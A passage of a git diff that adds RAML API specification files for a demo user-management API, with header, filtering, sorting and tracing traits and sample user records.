commented out due to a limitation in Design Center. +# When Headers are assigned a type of object the validation misinterprets and fails. +# Until this is resolved, further headers will be of simple type, even the values can be object representations +# type: !include ../data-types/dataType-performance-report.raml +# example: !include ../examples/example-performance-report.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml new file mode 100644 index 0000000..d56bd71 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 Trait +description: When a consumer application makes a request to an API, it may provide its consumer ID and the reason why it is making the request, as the value of the business event header. These values are used to determine how the consumer's request is processed by the application network. + +headers: + aflac-consumer-id: + displayName: Aflac Consumer ID + type: string + required: false + description: A unique, descriptive name that represents the consumer application. The name must be created, approved and assigned at design time. + examples: + example1: wynsure-financial-service-app + example2: wynsure-financial-service-consumerfacing-api-impl1 + + aflac-business-event: + displayName: Aflac Business Event + description: A name that represents the business event which indicates why the request is being made. + type: string + required: false + examples: + example1: policyholder-information-requested + example2: account-setup-completed + example3: claim-submitted \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml new file mode 100644 index 0000000..9f611dd --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml @@ -0,0 +1,140 @@ +#%RAML 1.0 Trait + +queryParameters: + selection-criteria: + displayName: Selection Criteria + required: false + type: string + description: | + The selection criteria to select records. + This is a shorthand notation with ( ) format, where is the type of . There are 4 recognized types + N for Number + S for String + D for Date and Time + B for Boolean + + ( ) that is wrapped with an open-close parenthesis pair is called a condition. + + One pair of parenthesis can contain one and only one condition. + + For each of the recognized types there is a list of operators + 1) Numbers: numbers of any type including integers, longs, floats and doubles. Exponential expressions are not allowed + The allowed operators are + eq -> means equal ... i.e. N(age eq 41) + ne -> means not equal ... i.e. N(length ne 5) + lt -> means less than ... i.e. N(height lt 3) + le -> means less than equal + gt -> means greater than + ge -> means greater than equal + + 2) Dates and Times: + Must be represented in ISO 8601 extended format and must always be in GMT + Dates as YYYY-MM-DD + Times as hh:mm:ss.sss + DateTimes as YYYY-MM-DDThh:mm:ss.sssZ + The allowed operators are + eq -> means on that date and/or time + be -> means before that date and/or time, excluding the provided field value + bi -> means before that date and/or time, including the provided field value + af -> means after that and/or time, excluding the provided field value + ai -> means after that and/or time, including the provided field value + + examples: + D(date-of-birth bi 2000-01-01) + D(member-since af 1999-12-31) + + + 3) Strings: + The allowed operators are + eq -> means exactly that string + ne -> means not equal to that string + sw -> means startsWith + ew -> means endsWith + co -> means contains + + example: + S(name sw Jo) + + 4) Booleans: special value of true or false without single quotes + The allowed operator is + eq -> means exactly that boolean value + ne -> means exactly the opposite of that boolean value + + example: + B(is-active eq true) + + With these types and type operators, conditions can be combined with logical operators of AND and OR. + + Below is a use case for a complex selection criteria. + We want all the person records that match the following criteria + Person's first name starts with Joh, Tim OR Jam, AND the person is male, AND the person is older than 50 + OR + Person's last name ends with tte, son OR fan, AND the person is female, AND the person's age is 40 or younger + AND + Person's is a a currently active member AND member since June 1st, 1999 + AND + Person's residence is in one of the following ZIP codes, 90210, 30011, 08765 + + for readability purposes we will format the criteria using indentation and line breaks. + ( + ( + ( + S(person.name.first sw Joh) OR + S(person.name.first sw Tim) OR + S(person.name.first sw Jam) + ) AND + B (person.gender.male eq true) AND + N(person.age gt 50) + ) OR + ( + ( + S(person.name.last ew tte) OR + S(person.name.last ew son) OR + S(person.name.last ew fan) + ) AND + B(person.gender.male eq false) AND + N(person.age le 40) + ) AND + ( + B(person.is-active eq true) AND + D(person.member-since bi 1999-06-01) + ) AND + ( + S(person.address.zip.ext5 eq 90210) OR + S(person.address.zip.ext5 eq 30011) OR + S(person.address.zip.ext5 eq 08765) + ) + ) + + Q) What to use in terms of fieldNames? + A) The answer to this question is in the payload definition. Let's assume for the above example the person record is defined as the following structure. + + person + name + first + middle + last + suffix + age + date-of-birth + is-active + gender + male + member-since + address + line1 + line2 + city + state + zip + ext5 + ext4 + + Now look at the above example and see how we have used the a dotted notation to reach to the property we need when building our selection criteria. + Therefore, when reusing the selection criteria you should always keep the payload structure of the API in mind. + examples: + simple-example1: (D(startDate eq 2017-12-31)) + simple-example2: (D(creation-timestamp be 2017-12-31T11:59:59.999Z)) + ANDing-example: (S(name eq John) AND N(age eq 40)) + ORing-example: (S(name eq John) OR S(name eq Jane)) + complex-example: ((S(name eq John) AND N(age ge 40)) OR (S(name eq Jane) AND N(age le 40)) OR (N(weight eq 150.0) AND B(active eq true))) \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml new file mode 100644 index 0000000..8e9f3e5 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 Trait +description: | + Sorting can be requested by the consumer application by providing sortBy field name and sortOrder indicator. + If the consumer application does not provide any sorting input and if the provider API sorts the results, the API may provide information back to the consumer on how sorting has been done. + In this case, the API would return sorting information + +queryParameters: + sort-by: + displayName: Sort By + description: The name of the field by which the sorting will be executed on. + type: string + required: false + sort-order: + displayName: Sort Order + description: Indicates the direction of the sorting, asccending or descending. If no value is provided, the default value of ASC will be used. + type: string + required: false + enum: + - ASC + - DESC \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml new file mode 100644 index 0000000..8800398 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 Trait +description: Traceable trait allows an operation to have the aflac-transaction-id header value which is GUID that uniquely represents a specific request + +headers: + aflac-transaction-id: + displayName: Aflac Transaction ID + type: string + required: false + description: | + GUID to track service requests. + If not provided by a consumer in the request, one will be created and assigned by the provider and returned to the consumer in the response + examples: + upperCase: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + lowerCase: d1af335b-ce04-40e9-9557-f6ed399b1a87 +responses: + 200: + headers: + aflac-transaction-id: + displayName: Aflac Transaction ID + type: string + required: true + description: | + GUID to track service requests. + This is either the GUID passed by the consumer in the request or the GUID created by provider because the consumer did not pass one. \ No newline at end of file diff --git a/demo/apis/SE-11155/SE-11155.raml b/demo/apis/SE-11155/SE-11155.raml new file mode 100644 index 0000000..cf8a92d --- /dev/null +++ b/demo/apis/SE-11155/SE-11155.raml @@ -0,0 +1,43 @@ +#%RAML 1.0 +baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/db807048-967b-4533-bdc6-9ab0cb457492/ # + +title: Usage-Example-API + +uses: + lib: libraries/library.raml + +types: + user: + type: !include data-types/dataType-user.raml + users: + type: user[] + archive-users-request: + type: !include data-types/dataType-archive-users-request.raml + archive-users-response: + type: !include data-types/dataType-archive-users-response.raml + restore-user-request: + type: object + restore-user-response: + type: object + + +/users: + type: + lib.applicable-to-collections: + coll-delete-200-cds-examples: !include /examples/users-delete-cds-200.raml + coll-delete-202-cds-examples: !include /examples/users-delete-cds-202.raml + coll-get-200-coll-examples: !include /examples/users-get-200.raml + coll-patch-req-item-examples: !include /examples/users-patch.raml + coll-patch-200-coll-and-cds-examples: !include /examples/users-patch-200.raml + coll-patch-202-cds-examples: !include /examples/users-patch-cds-202.raml + coll-post-req-item-and-coll-examples: + single-object-request-example: !include /examples/users-post-single.raml + multiple-objects-request-example: !include /examples/users-post-multi.raml + coll-post-200-item-and-coll-and-cds-examples: + single-input-200-response-example: !include /examples/users-post-single-200.raml + multiple-input-200-response-example: !include /examples/users-post-multi-200.raml + any-input-200-cds-response-example: !include /examples/users-post-cds-200.raml + coll-post-202-cds-examples: !include /examples/users-post-cds-202.raml + + post: + securedBy: lib.basic diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml new file mode 100644 index 0000000..9edd129 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +displayName: Archive Users Request +description: The request structure fo archiving a collection of users + +properties: + archive-location: + type: string + required: false + archive-time: + type: datetime + required: false + zip-records: + type: boolean + required: false +example: + archive-location: \\DCS001AB\user-archive-folder + archive-time: 2018-08-10T13:00:00.000Z + zip-records: true \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml new file mode 100644 index 0000000..b878e7d --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 DataType + + +displayName: Archive Users Response +description: The response structure fo archiving a collection of users + +properties: + archived-location: + type: string + required: false + archive-completed-time: + type: datetime + required: false + number-of-records-archived: + type: number + required: false +example: + archived-location: \\DCS001AB\user-archive-folder + archive-completed-time: 2018-08-10T13:11:46.449Z + number-of-records-archived: 17225 \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-user.raml b/demo/apis/SE-11155/data-types/dataType-user.raml new file mode 100644 index 0000000..81a1d4d --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-user.raml @@ -0,0 +1,53 @@ +#%RAML 1.0 DataType + +type: object +properties: + user-id: + displayName: User ID + type: string + required: false + description: System assigned id that represents a user. It is created when the new user record is created + example: ABC123 + user-name: + displayName: User Name + description: User's full name + type: string + required: false + example: John F Remedy + user-date-of-birth: + displayName: Date of Birth + description: User's date of birth + type: date-only + required: false + example: 2000-01-01 + user-address: + displayName: Mailing Address + description: User's mailing address + type: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml + required: false + example: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 +example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-200.raml b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml new file mode 100644 index 0000000..af2c15e --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +restore-user-action-200-response-example: + name: Dogan \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml new file mode 100644 index 0000000..b5fe8b2 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +restore-user-202-response-example: + - context: response + code: HTTP 202 + short-description: 1 user record have been accepted to be restored later + - context: confirmation + code: "123456789" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user.raml b/demo/apis/SE-11155/examples/user-action-restore-user.raml new file mode 100644 index 0000000..af5d8bc --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +restore-user-action-request-example: + name: Dogan \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-delete-cds-200.raml b/demo/apis/SE-11155/examples/user-delete-cds-200.raml new file mode 100644 index 0000000..d6c7ce9 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-delete-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-delete-200-response-example: + - code: HTTP 200 + short-description: 2 user records have been deleted \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-delete-cds-202.raml b/demo/apis/SE-11155/examples/user-delete-cds-202.raml new file mode 100644 index 0000000..a60d066 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-delete-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +user-delete-202-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be deleted later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-get-200.raml b/demo/apis/SE-11155/examples/user-get-200.raml new file mode 100644 index 0000000..64c4491 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-get-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-get-200-response-example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-200.raml b/demo/apis/SE-11155/examples/user-patch-200.raml new file mode 100644 index 0000000..1dbe3ba --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-200.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +user-patch-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-cds-200.raml b/demo/apis/SE-11155/examples/user-patch-cds-200.raml new file mode 100644 index 0000000..8cae2ff --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-patch-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-cds-202.raml b/demo/apis/SE-11155/examples/user-patch-cds-202.raml new file mode 100644 index 0000000..d6fe5bd --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-cds-202.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +user-patch-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 1 user record have been accepted to be updated later + - context: confirmation + code: "123456789" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch.raml b/demo/apis/SE-11155/examples/user-patch.raml new file mode 100644 index 0000000..e11883d --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +user-patch-request-example: + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 diff --git a/demo/apis/SE-11155/examples/user-put-200.raml b/demo/apis/SE-11155/examples/user-put-200.raml new file mode 100644 index 0000000..4f87a6e --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-put-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put-cds-200.raml b/demo/apis/SE-11155/examples/user-put-cds-200.raml new file mode 100644 index 0000000..dede024 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-put-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put-cds-202.raml b/demo/apis/SE-11155/examples/user-put-cds-202.raml new file mode 100644 index 0000000..2abb303 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +user-put-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be updated later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put.raml b/demo/apis/SE-11155/examples/user-put.raml new file mode 100644 index 0000000..72ee7f3 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-put-request-example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml new file mode 100644 index 0000000..2b4ef85 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-200-response-example: + archived-location: \\DCS001AB\user-archive-folder + archive-completed-time: 2018-08-10T13:11:46.449Z + number-of-records-archived: 17225 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml new file mode 100644 index 0000000..406f4c7 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-202-cds-response-example: + - context: response + code: HTTP 200 + short-description: 2 user records have been accepted to be deleted later diff --git a/demo/apis/SE-11155/examples/users-action-archive-users.raml b/demo/apis/SE-11155/examples/users-action-archive-users.raml new file mode 100644 index 0000000..1b6af5c --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-request-example: + archive-location: \\DCS001AB\user-archive-folder + archive-time: 2018-08-10T13:00:00.000Z + zip-records: true \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-delete-cds-200.raml b/demo/apis/SE-11155/examples/users-delete-cds-200.raml new file mode 100644 index 0000000..f129650 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-delete-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-delete-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been deleted \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-delete-cds-202.raml b/demo/apis/SE-11155/examples/users-delete-cds-202.raml new file mode 100644 index 0000000..2718ed7 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-delete-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-delete-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be deleted later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-get-200.raml b/demo/apis/SE-11155/examples/users-get-200.raml new file mode 100644 index 0000000..62de694 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-get-200.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 NamedExample +users-get-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1236 + user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-200.raml b/demo/apis/SE-11155/examples/users-patch-200.raml new file mode 100644 index 0000000..94b384f --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-200.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 NamedExample +users-patch-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-cds-200.raml b/demo/apis/SE-11155/examples/users-patch-cds-200.raml new file mode 100644 index 0000000..ed78386 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-patch-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-cds-202.raml b/demo/apis/SE-11155/examples/users-patch-cds-202.raml new file mode 100644 index 0000000..d629b23 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-patch-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be updated later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch.raml b/demo/apis/SE-11155/examples/users-patch.raml new file mode 100644 index 0000000..b319a67 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +users-patch-request-example:: + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 diff --git a/demo/apis/SE-11155/examples/users-post-cds-200.raml b/demo/apis/SE-11155/examples/users-post-cds-200.raml new file mode 100644 index 0000000..c65c8cd --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-post-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been created \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-cds-202.raml b/demo/apis/SE-11155/examples/users-post-cds-202.raml new file mode 100644 index 0000000..a21034d --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-post-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be created later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-multi-200.raml b/demo/apis/SE-11155/examples/users-post-multi-200.raml new file mode 100644 index 0000000..436c467 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-multi-200.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 NamedExample +users-post-multiple-input-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1236 + user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-multi.raml b/demo/apis/SE-11155/examples/users-post-multi.raml new file mode 100644 index 0000000..48ea38b --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-multi.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 NamedExample +users-post-multiple-input-request-example: + - user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-single-200.raml b/demo/apis/SE-11155/examples/users-post-single-200.raml new file mode 100644 index 0000000..2ea8128 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-single-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +users-post-single-input-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-single.raml b/demo/apis/SE-11155/examples/users-post-single.raml new file mode 100644 index 0000000..e4d46ca --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-single.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 NamedExample +users-post-single-input-request-example: + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/libraries/library.raml b/demo/apis/SE-11155/libraries/library.raml new file mode 100644 index 0000000..7fe0423 --- /dev/null +++ b/demo/apis/SE-11155/libraries/library.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 Library +types: + error: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml + code-description: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml + code-descriptions: code-description[] + +resourceTypes: + health-check-get: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml + applicable-to-collections: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml + applicable-to-items: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml + applicable-to-collection-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml + applicable-to-item-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml + + +securitySchemes: + basic: !include 